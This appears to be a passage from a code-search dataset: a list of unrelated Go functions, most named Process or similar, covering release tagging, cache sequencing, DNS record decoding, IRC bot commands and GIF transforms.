{\n\t\t\ts.metrics.AddPackagingErrors(prometheus.Labels{\"type\": \"clone\"}, 1)\n\t\t\ts.logger.Errorf(\"%+v\\n\", errors.WithStack(err))\n\t\t\treturn\n\t\t}\n\n\t\t// on master branch we want to cut a full release\n\t\t// but on any other branch or commit we should be be making\n\t\t// a prerelease\n\t\tvar version string\n\t\tvar prerelease bool\n\t\tif strings.Contains(payload.Ref, \"master\") {\n\t\t\tversion = fmt.Sprintf(\"v1.0.%d\", payload.Repository.PushedAt)\n\t\t\tprerelease = false\n\t\t} else {\n\t\t\tbranch := g.RefEndName(payload.Ref)\n\t\t\tversion = fmt.Sprintf(\"v1.0.%d-beta.%s\", payload.Repository.PushedAt, branch)\n\t\t\tprerelease = true\n\t\t}\n\n\t\tif err = s.repo.CreateTag(path, version, \"Automated tag by Protofact.\"); err != nil {\n\t\t\ts.metrics.AddPackagingErrors(prometheus.Labels{\"type\": \"release\"}, 1)\n\t\t\ts.logger.Errorf(\"%+v\\n\", err)\n\t\t\treturn\n\t\t}\n\n\t\tif err = s.repo.PushTags(path); err != nil {\n\t\t\ts.metrics.AddPackagingErrors(prometheus.Labels{\"type\": \"release\"}, 1)\n\t\t\ts.logger.Errorf(\"%+v\\n\", err)\n\t\t\treturn\n\t\t}\n\n\t\tbodyMsg := \"Automated release by Protofact.\"\n\t\trel := github.RepositoryRelease{\n\t\t\tTagName: &version,\n\t\t\tName: &version,\n\t\t\tBody: &bodyMsg,\n\t\t\tPrerelease: &prerelease,\n\t\t}\n\n\t\t_, err = s.repo.CreateRelease(ctx, payload.Repository.Owner.Login, payload.Repository.Name, &rel)\n\t\tif err != nil {\n\t\t\ts.metrics.AddPackagingErrors(prometheus.Labels{\"type\": \"release\"}, 1)\n\t\t\ts.logger.Errorf(\"%+v\\n\", err)\n\t\t\treturn\n\t\t}\n\n\t\tduration := time.Since(start)\n\t\ts.metrics.AddPackagingProcessDuration(prometheus.Labels{}, duration.Seconds())\n\n\t\treturn\n\t}\n}", "func (t *treeSimplifier) process(tree *parse.Tree) {\n\tt.tree = tree\n\trenameVariables(tree.Root)\n\tfor t.browseNodes(tree.Root) {\n\t\t// printer.PrintContent(tree) // useful for debug sometimes.\n\t\tt.reset()\n\t}\n}", "func process(file string, pattern string) {\n\terr := fsutil.ValidatePerms(\"FRS\", file)\n\n\tif err != nil {\n\t\tprintErrorAndExit(err.Error())\n\t}\n\n\tdoc, errs := parser.Parse(file)\n\n\tif len(errs) != 0 {\n\t\tprintErrorsAndExit(errs)\n\t}\n\n\tif !doc.IsValid() {\n\t\tprintWarn(\"File %s doesn't contains any documentation\", file)\n\t\tos.Exit(2)\n\t}\n\n\tif options.GetS(OPT_NAME) != \"\" {\n\t\tdoc.Title = options.GetS(OPT_NAME)\n\t}\n\n\tif options.GetS(OPT_OUTPUT) == \"\" {\n\t\terr = terminal.Render(doc, pattern)\n\t} else {\n\t\terr = template.Render(\n\t\t\tdoc,\n\t\t\toptions.GetS(OPT_TEMPLATE),\n\t\t\toptions.GetS(OPT_OUTPUT),\n\t\t)\n\t}\n\n\tif err != nil {\n\t\tprintErrorAndExit(err.Error())\n\t}\n}", "func (c *FileMessageWriter) Process() {\n\n\ttargetFile := TargetFile{}\n\n\tfor msg := range c.Msg {\n\n\t\tfilePath := <-c.TargetFilePath\n\t\tf, _ := targetFile.Get(filePath)\n\t\tdefer f.Close()\n\n\t\tfmt.Fprintf(f, \"%v\", msg)\n\t}\n\n}", "func (p *Processor) Process() *Skelington {\n\ts := newSkelington(p.hookHolder, p.statHolder)\n\tret := p.Allocate(s, p.file, p.root, p.offset, p.manageError)\n\treturn ret\n}", "func (p *PostProcessor) PostProcess(ctx context.Context, ui packer.Ui, artifact packer.Artifact) (packer.Artifact, bool, bool, error) {\n\n\tui.Say(fmt.Sprintf(\"%s\", artifact.String()))\n\n\tif p.config.AmiID != nil {\n\t\tr, _ := regexp.Compile(\"ami-[a-z0-9]+\")\n\t\tamiID := r.FindString(artifact.Id())\n\n\t\tfor file, properties := range p.config.AmiID {\n\t\t\terr := EnsureJSONFileExists(file)\n\t\t\tif err != nil {\n\t\t\t\treturn artifact, false, false, err\n\t\t\t}\n\t\t\terr = UpdateJSONFile(file, properties, amiID, ui)\n\t\t\tif err != nil {\n\t\t\t\treturn artifact, false, false, err\n\t\t\t}\n\t\t}\n\t}\n\n\treturn artifact, true, false, nil\n}", "func (w *Walker) processFile(path string, info os.FileInfo, err error) error {\n\t_l := metrics.StartLogDiff(\"process-file\")\n\n\t// Output a number to the user\n\tw.liveCounter()\n\n\t// Skip directories, of course\n\tif info.IsDir() {\n\t\tmetrics.StopLogDiff(\"process-file\", _l)\n\t\treturn nil\n\t}\n\n\t// Get the file contents\n\tdata := readFile(path)\n\n\t// And call `ipfs dag put`\n\timportIntoIPFS(w.ipfs, data)\n\n\tmetrics.StopLogDiff(\"process-file\", _l)\n\treturn nil\n}", "func (s *BaseSyslParserListener) EnterTransform_arg(ctx *Transform_argContext) {}", "func (proc *Processor) Process(p *peer.Peer, msgType message.Type, data []byte) {\n\tproc.wp.Submit(p, msgType, data)\n}", "func (m *Manager) ProcessArchetype(archetype *Archetype) (errs error) {\n\tif archetype.isProcessing {\n\t\treturn nil\n\t}\n\n\t// Eh... This isn't quite right, but pretty much everything we process and compile should retain an uncompiled version... TODO: Do some initial type parsing, if possible, then only copy the archetype to uncompiled if it is a type we want to keep an uncompiled version of around.\n\tif archetype.uncompiled == nil && (!archetype.isCompiled && !archetype.isCompiling) {\n\t\tvar original Archetype\n\t\tcopier.Copy(&original, archetype)\n\t\tarchetype.uncompiled = &original\n\t}\n\n\tarchetype.isProcessing = true\n\tif archetype.Anim != \"\" {\n\t\tarchetype.AnimID = m.Strings.Acquire(archetype.Anim)\n\t\tarchetype.Anim = \"\"\n\t}\n\tif archetype.Face != \"\" {\n\t\tarchetype.FaceID = m.Strings.Acquire(archetype.Face)\n\t\tarchetype.Face = \"\"\n\t}\n\t// Add Arch to Archs if defined.\n\tif archetype.Arch != \"\" {\n\t\tarchetype.Archs = append(archetype.Archs, archetype.Arch)\n\t\tarchetype.Arch = \"\"\n\t}\n\n\t// Process audio\n\tif archetype.Audio != \"\" {\n\t\tarchetype.AudioID = m.Strings.Acquire(archetype.Audio)\n\t\tarchetype.Audio = \"\"\n\t}\n\tif archetype.SoundSet != \"\" {\n\t\tarchetype.SoundSetID = m.Strings.Acquire(archetype.SoundSet)\n\t\tarchetype.SoundSet = \"\"\n\t}\n\n\t// Convert Archs into ArchIDs\n\tfor _, archname := range archetype.Archs {\n\t\tisAdd := false\n\t\tif archname[0] == '+' {\n\t\t\tarchname = archname[1:]\n\t\t\tisAdd = true\n\t\t}\n\t\ttargetID := m.Strings.Acquire(archname)\n\t\tancestorArchetype, err := m.GetArchetype(targetID)\n\t\tif err != nil {\n\t\t\terrs = errors.Join(errs, fmt.Errorf(\"\\\"%s\\\" does not exist\", archname))\n\t\t} else {\n\t\t\tmergeArch := MergeArch{\n\t\t\t\tID: targetID,\n\t\t\t\tType: ArchMerge,\n\t\t\t}\n\t\t\tif isAdd {\n\t\t\t\tmergeArch.Type = ArchAdd\n\t\t\t}\n\t\t\tarchetype.ArchIDs = append(archetype.ArchIDs, mergeArch)\n\t\t\tarchetype.ArchPointers = append(archetype.ArchPointers, ancestorArchetype)\n\t\t}\n\t}\n\t//archetype.Archs = nil // Might as well keep the Archs references, I suppose\n\n\t// Process Inventory.\n\tfor i := range archetype.Inventory {\n\t\tif err := m.ProcessArchetype(&archetype.Inventory[i]); err != nil {\n\t\t\terrs = errors.Join(errs, err)\n\t\t}\n\t}\n\n\t// Process type hint\n\tfor _, v := range archetype.TypeHints {\n\t\tarchetype.TypeHintIDs = append(archetype.TypeHintIDs, m.Strings.Acquire(v))\n\t\tm.TypeHints[m.Strings.Acquire(v)] = v\n\t}\n\n\t// Process Slots. FIXME: This parsing of all strings for sending slot information feels awful.\n\tarchetype.Slots.HasIDs = make(map[uint32]int)\n\tfor k, v := range archetype.Slots.Has {\n\t\tslot := m.Strings.Acquire(k)\n\t\tarchetype.Slots.HasIDs[slot] = v\n\t\tm.Slots[slot] = k\n\t}\n\tarchetype.Slots.UsesIDs = make(map[uint32]int)\n\tfor k, v := range archetype.Slots.Uses {\n\t\tslot := m.Strings.Acquire(k)\n\t\tarchetype.Slots.UsesIDs[slot] = v\n\t\tm.Slots[slot] = k\n\t}\n\tarchetype.Slots.GivesIDs = make(map[uint32]int)\n\tfor k, v := range archetype.Slots.Gives {\n\t\tslot := m.Strings.Acquire(k)\n\t\tarchetype.Slots.GivesIDs[slot] = v\n\t\tm.Slots[slot] = k\n\t}\n\tarchetype.Slots.Needs.MinIDs = make(map[uint32]int)\n\tarchetype.Slots.Needs.Min = make(map[string]int)\n\tfor k, v := range archetype.Slots.Needs.Min {\n\t\tslot := m.Strings.Acquire(k)\n\t\tarchetype.Slots.Needs.MinIDs[slot] = v\n\t\tm.Slots[slot] = k\n\t}\n\tarchetype.Slots.Needs.MaxIDs = make(map[uint32]int)\n\tfor k, v := range archetype.Slots.Needs.Max {\n\t\tslot := m.Strings.Acquire(k)\n\t\tarchetype.Slots.Needs.MaxIDs[slot] = v\n\t\tm.Slots[slot] = k\n\t}\n\n\t// Process Events' archetypes.\n\tprocessEventResponses := func(e *EventResponses) error {\n\t\tvar errs error\n\t\tif e == nil {\n\t\t\treturn nil\n\t\t}\n\t\tif e.Spawn != nil {\n\t\t\tfor _, a := range e.Spawn.Items {\n\t\t\t\tif err := m.ProcessArchetype(a.Archetype); err != nil {\n\t\t\t\t\terrs = errors.Join(errs, err)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif e.Replace != nil {\n\t\t\tfor _, a := range *e.Replace {\n\t\t\t\tif err := m.ProcessArchetype(a.Archetype); err != nil {\n\t\t\t\t\terrs = errors.Join(errs, err)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn nil\n\t}\n\tif archetype.Events != nil {\n\t\tif err := processEventResponses(archetype.Events.Birth); err != nil {\n\t\t\terrs = errors.Join(errs, err)\n\t\t}\n\t\tif err := processEventResponses(archetype.Events.Death); err != nil {\n\t\t\terrs = errors.Join(errs, err)\n\t\t}\n\t\tif err := processEventResponses(archetype.Events.Advance); err != nil {\n\t\t\terrs = errors.Join(errs, err)\n\t\t}\n\t\tif err := processEventResponses(archetype.Events.Hit); err != nil {\n\t\t\terrs = errors.Join(errs, err)\n\t\t}\n\t}\n\n\treturn errs\n}", "func (ep *EventProcessor) Process(eb *core.EventBatch) *core.EventBatch {\n\tfor _, event := range eb.Events {\n\t\tif event.Reason == podOOMKilling {\n\t\t\tevent.InvolvedObject.Kind = \"Pod\"\n\t\t\trst := podOOMRegex.FindStringSubmatch(event.Message)\n\t\t\tif len(rst) >= 5 {\n\t\t\t\tevent.InvolvedObject.Name = rst[2]\n\t\t\t\tevent.InvolvedObject.Namespace = rst[3]\n\t\t\t\tevent.InvolvedObject.UID = types.UID(rst[4])\n\n\t\t\t\tevent.ObjectMeta.Name = event.InvolvedObject.Name\n\t\t\t\tevent.ObjectMeta.Namespace = event.InvolvedObject.Namespace\n\t\t\t\tevent.ObjectMeta.UID = event.InvolvedObject.UID\n\t\t\t}\n\t\t}\n\t}\n\treturn eb\n}", "func (g *groupTransformation) ProcessMessage(m Message) error {\n\tdefer m.Ack()\n\n\tswitch m := m.(type) {\n\tcase FinishMsg:\n\t\tg.Finish(m.SrcDatasetID(), m.Error())\n\t\treturn nil\n\tcase ProcessChunkMsg:\n\t\treturn g.t.Process(m.TableChunk(), g.d, g.d.mem)\n\tcase FlushKeyMsg:\n\t\treturn nil\n\tcase ProcessMsg:\n\t\treturn g.Process(m.SrcDatasetID(), m.Table())\n\t}\n\treturn nil\n}", "func Process(prefix string, spec interface{}) error {\n\tenv := environment()\n\tinfos, err := gatherInfoForProcessing(prefix, spec, env)\n\n\tfor _, info := range infos {\n\t\tvalue, ok := env[info.Key]\n\t\tif !ok && info.Alt != \"\" {\n\t\t\tvalue, ok = env[info.Alt]\n\t\t}\n\n\t\tdef := info.Tags.Get(\"default\")\n\t\tif def != \"\" && !ok {\n\t\t\tvalue = def\n\t\t}\n\n\t\treq := info.Tags.Get(\"required\")\n\t\tif !ok && def == \"\" {\n\t\t\tif isTrue(req) {\n\t\t\t\tkey := info.Key\n\t\t\t\tif info.Alt != \"\" {\n\t\t\t\t\tkey = info.Alt\n\t\t\t\t}\n\t\t\t\treturn fmt.Errorf(\"required key %s missing value\", key)\n\t\t\t}\n\t\t\tcontinue\n\t\t}\n\n\t\terr = processField(value, info.Field)\n\t\tif err != nil {\n\t\t\treturn &ParseError{\n\t\t\t\tKeyName: info.Key,\n\t\t\t\tFieldName: info.Name,\n\t\t\t\tTypeName: info.Field.Type().String(),\n\t\t\t\tValue: value,\n\t\t\t\tErr: err,\n\t\t\t}\n\t\t}\n\t}\n\n\treturn err\n}", "func ProcessRecord(res *as.Result, generations map[uint32]uint64, expirations map[uint32]uint64) {\n\tt := time.Now()\n\texpDate, err := strconv.ParseUint(t.Add(time.Duration(res.Record.Expiration)*time.Second).Format(intermediateDateForm), 10, 32)\n\texpirationDate := uint32(expDate)\n\tif err != nil {\n\t\tlog.Printf(\"Unable to convert the expiration ttl to a uint date: %d - %s\\n\", res.Record.Expiration, err)\n\t}\n\tgen := res.Record.Generation\n\tif _, ok := generations[gen]; ok {\n\t\tgenerations[gen]++\n\t} else {\n\t\tgenerations[gen] = 1\n\t}\n\tif _, ok := expirations[expirationDate]; ok {\n\t\texpirations[expirationDate]++\n\t} else {\n\t\texpirations[expirationDate] = 1\n\t}\n}", "func (c *changeCache) processEntry(change *LogEntry) channels.Set {\n\tc.lock.Lock()\n\tdefer c.lock.Unlock()\n\tif c.logsDisabled {\n\t\treturn nil\n\t}\n\n\tsequence := change.Sequence\n\tif change.Sequence > c.internalStats.highSeqFeed {\n\t\tc.internalStats.highSeqFeed = change.Sequence\n\t}\n\n\t// Duplicate handling - there are a few cases where processEntry can be called multiple times for a sequence:\n\t// - recentSequences for rapidly updated documents\n\t// - principal mutations that don't increment sequence\n\t// We can cancel processing early in these scenarios.\n\t// Check if this is a duplicate of an already processed sequence\n\tif sequence < c.nextSequence && !c.WasSkipped(sequence) {\n\t\tbase.DebugfCtx(c.logCtx, base.KeyCache, \" Ignoring duplicate of #%d\", sequence)\n\t\treturn nil\n\t}\n\n\t// Check if this is a duplicate of a pending sequence\n\tif _, found := c.receivedSeqs[sequence]; found {\n\t\tbase.DebugfCtx(c.logCtx, base.KeyCache, \" Ignoring duplicate of #%d\", sequence)\n\t\treturn nil\n\t}\n\tc.receivedSeqs[sequence] = struct{}{}\n\n\tvar changedChannels channels.Set\n\tif sequence == c.nextSequence || c.nextSequence == 0 {\n\t\t// This is the expected next sequence so we can add it now:\n\t\tchangedChannels = channels.SetFromArrayNoValidate(c._addToCache(change))\n\t\t// Also add any pending sequences that are now contiguous:\n\t\tchangedChannels = changedChannels.Update(c._addPendingLogs())\n\t} else if sequence > c.nextSequence {\n\t\t// There's a missing sequence (or several), so put this one on ice until it arrives:\n\t\theap.Push(&c.pendingLogs, change)\n\t\tnumPending := len(c.pendingLogs)\n\t\tc.internalStats.pendingSeqLen = numPending\n\t\tif base.LogDebugEnabled(base.KeyCache) {\n\t\t\tbase.DebugfCtx(c.logCtx, base.KeyCache, \" Deferring #%d (%d now waiting for #%d...#%d) doc %q / %q\",\n\t\t\t\tsequence, numPending, c.nextSequence, c.pendingLogs[0].Sequence-1, base.UD(change.DocID), change.RevID)\n\t\t}\n\t\t// Update max pending high watermark stat\n\t\tif numPending > c.internalStats.maxPending {\n\t\t\tc.internalStats.maxPending = numPending\n\t\t}\n\n\t\tif numPending > c.options.CachePendingSeqMaxNum {\n\t\t\t// Too many pending; add the oldest one:\n\t\t\tchangedChannels = c._addPendingLogs()\n\t\t}\n\t} else if sequence > c.initialSequence {\n\t\t// Out-of-order sequence received!\n\t\t// Remove from skipped sequence queue\n\t\tif !c.WasSkipped(sequence) {\n\t\t\t// Error removing from skipped sequences\n\t\t\tbase.InfofCtx(c.logCtx, base.KeyCache, \" Received unexpected out-of-order change - not in skippedSeqs (seq %d, expecting %d) doc %q / %q\", sequence, c.nextSequence, base.UD(change.DocID), change.RevID)\n\t\t} else {\n\t\t\tbase.InfofCtx(c.logCtx, base.KeyCache, \" Received previously skipped out-of-order change (seq %d, expecting %d) doc %q / %q \", sequence, c.nextSequence, base.UD(change.DocID), change.RevID)\n\t\t\tchange.Skipped = true\n\t\t}\n\n\t\tchangedChannels = changedChannels.UpdateWithSlice(c._addToCache(change))\n\t\t// Add to cache before removing from skipped, to ensure lowSequence doesn't get incremented until results are available\n\t\t// in cache\n\t\terr := c.RemoveSkipped(sequence)\n\t\tif err != nil {\n\t\t\tbase.DebugfCtx(c.logCtx, base.KeyCache, \"Error removing skipped sequence: #%d from cache: %v\", sequence, err)\n\t\t}\n\t}\n\treturn changedChannels\n}", "func (record *RecordTypeSRV) Process(a Answer) {\n\n\tpriority := decodePart(a.Data, 0, 2)\n\tweight := decodePart(a.Data, 2, 4)\n\tport := decodePart(a.Data, 4, 6)\n\n\ttarget, _ := decodeQname(a.Data[6:])\n\n\trecord.Priority = priority\n\trecord.Weight = weight\n\trecord.Port = port\n\trecord.Target = target\n}", "func (job *JOB) Process(ctx context.Context, rsp *http.Response) error {\n\tif rsp.StatusCode != http.StatusOK {\n\t\treturn errors.New(rsp.Status)\n\t}\n\tdefer rsp.Body.Close()\n\n\tvar result Result\n\tif err := json.NewDecoder(rsp.Body).Decode(&result); err != nil {\n\t\treturn errors.Annotate(err, \"json decode\")\n\t}\n\tlog.Println(\"Parks count:\", len(result.Items[0].Parks))\n\tfor _, item := range result.Items {\n\t\tfor _, park := range item.Parks {\n\t\t\tif err := job.updateParkStatus(ctx, park); err != nil {\n\t\t\t\tlog.Println(\"WARN: park status refresh failed: \", err)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t}\n\t}\n\treturn nil\n}", "func TransformCommand(c *cli.Context) error {\n\tif c.NArg() != 1 {\n\t\tcli.ShowCommandHelp(c, \"transform\")\n\n\t\treturn fmt.Errorf(\"Missing required argument FILE\")\n\t}\n\n\tfhirVersion := c.GlobalString(\"fhir\")\n\tfilename := c.Args().Get(0)\n\n\tfileContent, err := ioutil.ReadFile(filename)\n\n\tif err != nil {\n\t\treturn errors.Wrapf(err, \"Error reading file %s\", filename)\n\t}\n\n\titer := jsoniter.ConfigFastest.BorrowIterator(fileContent)\n\tdefer jsoniter.ConfigFastest.ReturnIterator(iter)\n\n\tres := iter.Read()\n\n\tif res == nil {\n\t\treturn errors.Wrapf(err, \"Error parsing file %s as JSON\", filename)\n\t}\n\n\tout, err := doTransform(res.(map[string]interface{}), fhirVersion)\n\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"Error performing transformation\")\n\t}\n\n\toutJson, err := jsoniter.ConfigFastest.MarshalIndent(out, \"\", \" \")\n\n\tos.Stdout.Write(outJson)\n\tos.Stdout.Write([]byte(\"\\n\"))\n\n\treturn nil\n}", "func (l *Lists)Process(vc VerbContext, args []string) string {\n\tif l.Lists == nil {\n\t\tl.Lists = map[string]List{}\n\t}\n\n\tif len(args) == 0 {\n\t\treturn l.String()\n\t} else if len(args) == 1 {\n\t\tif _,exists := l.Lists[args[0]]; exists {\n\t\t\treturn l.Lists[args[0]].String()\n\t\t} else {\n\t\t\treturn fmt.Sprintf(\"You don't have a list of '%s'\", args[0])\n\t\t}\n\t}\n\n\tif _,exists := l.Lists[args[0]]; !exists {\n\t\tl.Lists[args[0]] = NewList()\n\t}\n\n\tlist, action, args := args[0], args[1], args[2:]\n\tn := 1\n\n\t// If there is a quantity, shift it off\n\tif len(args) > 1 {\n\t\tif val,err := strconv.Atoi(args[0]); err == nil {\n\t\t\tn = val\n\t\t\targs = args[1:]\n\t\t}\n\t}\n\n\tif action == \"remove\" {\n\t\tn *= -1\n\t} else if action != \"add\" {\n\t\treturn l.Help()\n\t}\n\n\tl.Lists[list].Update(strings.Join(args, \" \"), n)\n\n\treturn l.Lists[list].String()\n}", "func (joint UrlFilterJoint) Process(context *model.Context) error {\n\n\tsnapshot := context.MustGet(model.CONTEXT_SNAPSHOT).(*model.Snapshot)\n\n\toriginalUrl := context.GetStringOrDefault(model.CONTEXT_TASK_OriginalUrl, \"\")\n\turl := context.MustGetString(model.CONTEXT_TASK_URL)\n\thost := context.MustGetString(model.CONTEXT_TASK_Host)\n\tif url == \"\" {\n\t\tcontext.Exit(\"nil url\")\n\t\treturn nil\n\t}\n\n\tif originalUrl != \"\" {\n\t\tif !joint.validRule(urlMatchRule, originalUrl) {\n\t\t\tcontext.Exit(\"invalid url (original), \" + originalUrl)\n\t\t\treturn nil\n\t\t}\n\t}\n\n\tif !joint.validRule(urlMatchRule, url) {\n\t\tcontext.Exit(\"invalid url, \" + url)\n\t\treturn nil\n\t}\n\n\tif !joint.validRule(hostMatchRule, host) {\n\t\tcontext.Exit(\"invalid host, \" + host)\n\t\treturn nil\n\t}\n\n\tif !joint.validRule(pathMatchRule, snapshot.Path) {\n\t\tcontext.Exit(\"invalid path, \" + snapshot.Path)\n\t\treturn nil\n\t}\n\n\tif !joint.validRule(fileMatchRule, snapshot.File) {\n\t\tcontext.Exit(\"invalid file, \" + snapshot.File)\n\t\treturn nil\n\t}\n\n\tif !joint.validRule(fileExtensionMatchRule, util.FileExtension(snapshot.File)) {\n\t\tcontext.Exit(\"invalid file extension, \" + snapshot.File)\n\t\treturn nil\n\t}\n\n\treturn nil\n}", "func (p *MultiLineParser) process(input *DecodedInput) {\n\tcontent, status, timestamp, partial, err := p.parser.Parse(input.content)\n\tif err != nil {\n\t\tlog.Debug(err)\n\t}\n\t// track the raw data length and the timestamp so that the agent tails\n\t// from the right place at restart\n\tp.rawDataLen += input.rawDataLen\n\tp.timestamp = timestamp\n\tp.status = status\n\tp.buffer.Write(content)\n\n\tif !partial || p.buffer.Len() >= p.lineLimit {\n\t\t// the current chunk marks the end of an aggregated line\n\t\tp.sendLine()\n\t}\n}", "func (c *v1Conn) Process(hooks EventHooks) {\n\tvar err error\n\tvar line string\n\tfor err == nil {\n\t\tline, err = c.readline()\n\t\tif len(line) == 0 {\n\t\t\t// eof (proably?)\n\t\t\tc.Close()\n\t\t\treturn\n\t\t}\n\n\t\tuline := strings.ToUpper(line)\n\t\tparts := strings.Split(uline, \" \")\n\t\thandler, ok := c.cmds[parts[0]]\n\t\tif ok {\n\t\t\t// we know the command\n\t\t\terr = handler(c, line, hooks)\n\t\t} else {\n\t\t\t// we don't know the command\n\t\t\terr = c.printfLine(\"%s Unknown Command: %s\", RPL_UnknownCommand, line)\n\t\t}\n\t}\n}", "func (cl *List) Process(bot *hbot.Bot, m *hbot.Message) {\n\t// Is the first character our command prefix?\n\tif m.Content[:1] == cl.Prefix {\n\t\tparts := strings.Fields(m.Content[1:])\n\t\tcommandstring := parts[0]\n\t\tcmd, ok := cl.Commands[commandstring]\n\t\tif !ok {\n\t\t\tif commandstring == \"help\" {\n\t\t\t\tif len(parts) < 2 {\n\t\t\t\t\tbot.Msg(m.From, \"Here's what I can do:\")\n\t\t\t\t\tvar commands bytes.Buffer\n\t\t\t\t\ti := 0\n\t\t\t\t\tfor _, cmd := range cl.Commands {\n\t\t\t\t\t\ti = i + 1\n\t\t\t\t\t\tcommands.WriteString(cmd.Name)\n\t\t\t\t\t\tif i != len(cl.Commands) {\n\t\t\t\t\t\t\tcommands.WriteString(\", \")\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tbot.Msg(m.From, commands.String())\n\t\t\t\t\tbot.Msg(m.From, fmt.Sprintf(\"The prefix for all these commands is: \\\"%s\\\"\", cl.Prefix))\n\t\t\t\t\tbot.Msg(m.From, fmt.Sprintf(\"See %shelp <command> for detailed information\", cl.Prefix))\n\t\t\t\t} else {\n\t\t\t\t\thelpcmd, helpok := cl.Commands[parts[1]]\n\t\t\t\t\tif helpok {\n\t\t\t\t\t\tbot.Msg(m.From, fmt.Sprintf(\"%s: %s\", helpcmd.Description, helpcmd.Usage))\n\t\t\t\t\t} else {\n\t\t\t\t\t\tbot.Msg(m.From, fmt.Sprintf(\"No such command: %s\", parts[1]))\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\t// looks good, get the quote and reply with the result\n\t\tbot.Logger.Debug(\"action\", \"start processing\",\n\t\t\t\"args\", parts,\n\t\t\t\"full text\", m.Content)\n\t\tgo func(m *hbot.Message) {\n\t\t\tbot.Logger.Debug(\"action\", \"executing\",\n\t\t\t\t\"full text\", m.Content)\n\t\t\tif len(parts) > 1 {\n\t\t\t\tcmd.Run(m, parts[1:])\n\t\t\t} else {\n\t\t\t\tcmd.Run(m, []string{})\n\t\t\t}\n\t\t}(m)\n\t}\n}", "func Process(w io.Writer, r io.Reader, transform TransformFunc) error {\n\tif transform == nil {\n\t\t_, err := io.Copy(w, r)\n\t\treturn err\n\t}\n\n\t// Decode the original gif.\n\tim, err := gif.DecodeAll(r)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// Create a new RGBA image to hold the incremental frames.\n\tfirstFrame := im.Image[0].Bounds()\n\tb := image.Rect(0, 0, firstFrame.Dx(), firstFrame.Dy())\n\timg := image.NewRGBA(b)\n\n\t// Resize each frame.\n\tfor index, frame := range im.Image {\n\t\tbounds := frame.Bounds()\n\t\tprevious := img\n\t\tdraw.Draw(img, bounds, frame, bounds.Min, draw.Over)\n\t\tim.Image[index] = imageToPaletted(transform(img), frame.Palette)\n\n\t\tswitch im.Disposal[index] {\n\t\tcase gif.DisposalBackground:\n\t\t\t// I'm just assuming that the gif package will apply the appropriate\n\t\t\t// background here, since there doesn't seem to be an easy way to\n\t\t\t// access the global color table\n\t\t\timg = image.NewRGBA(b)\n\t\tcase gif.DisposalPrevious:\n\t\t\timg = previous\n\t\t}\n\t}\n\n\t// Set image.Config to new height and width\n\tim.Config.Width = im.Image[0].Bounds().Max.X\n\tim.Config.Height = im.Image[0].Bounds().Max.Y\n\n\treturn gif.EncodeAll(w, im)\n}", "func (action *provisionLogsAction) Process() error {\n\treturn nil\n}", "func (fn *rekeyByAggregationIDFn) ProcessElement(ctx context.Context, id string, encryptedKeyIter func(**pb.ElGamalCiphertext) bool, partialReportIter func(**pb.PartialReport) bool, emitIDKey func(string, IDKeyShare), emitAggData func(AggData)) error {\n\tvar exponentiatedKey *pb.ElGamalCiphertext\n\tif !encryptedKeyIter(&exponentiatedKey) {\n\t\treturn fmt.Errorf(\"no matched exponentiated key\")\n\t}\n\n\tvar partialReport *pb.PartialReport\n\tif !partialReportIter(&partialReport) {\n\t\treturn fmt.Errorf(\"no matched partial report\")\n\t}\n\n\tdecryptedKey, err := elgamalencrypt.Decrypt(exponentiatedKey, fn.ElGamalPrivateKey)\n\tif err != nil {\n\t\treturn err\n\t}\n\taggID, err := elgamalencrypt.ExponentiateOnECPointStr(decryptedKey, fn.Secret)\n\tif err != nil {\n\t\treturn err\n\t}\n\tfn.generatedAggIDCounter.Inc(ctx, 1)\n\n\temitIDKey(aggID, IDKeyShare{\n\t\tReportID: id,\n\t\tKeyShare: partialReport.KeyShare,\n\t})\n\n\temitAggData(AggData{\n\t\tReportID: id,\n\t\tAggID: aggID,\n\t\tValueShare: int64(partialReport.ValueShare),\n\t})\n\n\treturn nil\n}", "func Process (config config.Config) cache.Cache {\n\tscanner := scanner.Scanner {\n\t\t Config: config,\n\t}\n\tscripts := scanner.Scan()\n\treturn scanner.LoadInCache(scripts)\n}", "func ProcessLogEntry(ctx context.Context, e event.Event) error {\n\tvar msg MessagePublishedData\n\tif err := e.DataAs(&msg); err != nil {\n\t\treturn fmt.Errorf(\"event.DataAs: %w\", err)\n\t}\n\n\tlog.Printf(\"Log entry data: %s\", string(msg.Message.Data)) // Automatically decoded from base64.\n\treturn nil\n}", "func ProcessLiquid(fi FileInfo) (string, error) {\n content, err := fi.GetContent()\n if err != nil {\n return \"\", err\n }\n\n doc := NewLiquidDocument(content)\n context := make(map[interface{}]interface{})\n return doc.Render(context), nil\n}", "func (c *ConfigPolicyNode) Process(m map[string]ctypes.ConfigValue) (*map[string]ctypes.ConfigValue, *ProcessingErrors) {\n\tc.mutex.Lock()\n\tdefer c.mutex.Unlock()\n\tpErrors := NewProcessingErrors()\n\t// Loop through each rule and process\n\tfor key, rule := range c.rules {\n\t\t// items exists for rule\n\t\tif cv, ok := m[key]; ok {\n\t\t\t// Validate versus matching data\n\t\t\te := rule.Validate(cv)\n\t\t\tif e != nil {\n\t\t\t\tpErrors.AddError(e)\n\t\t\t}\n\t\t} else {\n\t\t\t// If it was required add error\n\t\t\tif rule.Required() {\n\t\t\t\te := fmt.Errorf(\"required key missing (%s)\", key)\n\t\t\t\tpErrors.AddError(e)\n\t\t\t} else {\n\t\t\t\t// If default returns we should add it\n\t\t\t\tcv := rule.Default()\n\t\t\t\tif cv != nil {\n\t\t\t\t\tm[key] = cv\n\t\t\t\t}\n\n\t\t\t}\n\t\t}\n\t}\n\n\tif pErrors.HasErrors() {\n\t\treturn nil, pErrors\n\t}\n\treturn &m, pErrors\n}", "func (f *IPLabelFilter) Process(line []byte, lbs *LabelsBuilder) ([]byte, bool) {\n\treturn line, f.filterTy(line, f.ty, lbs)\n}" ]
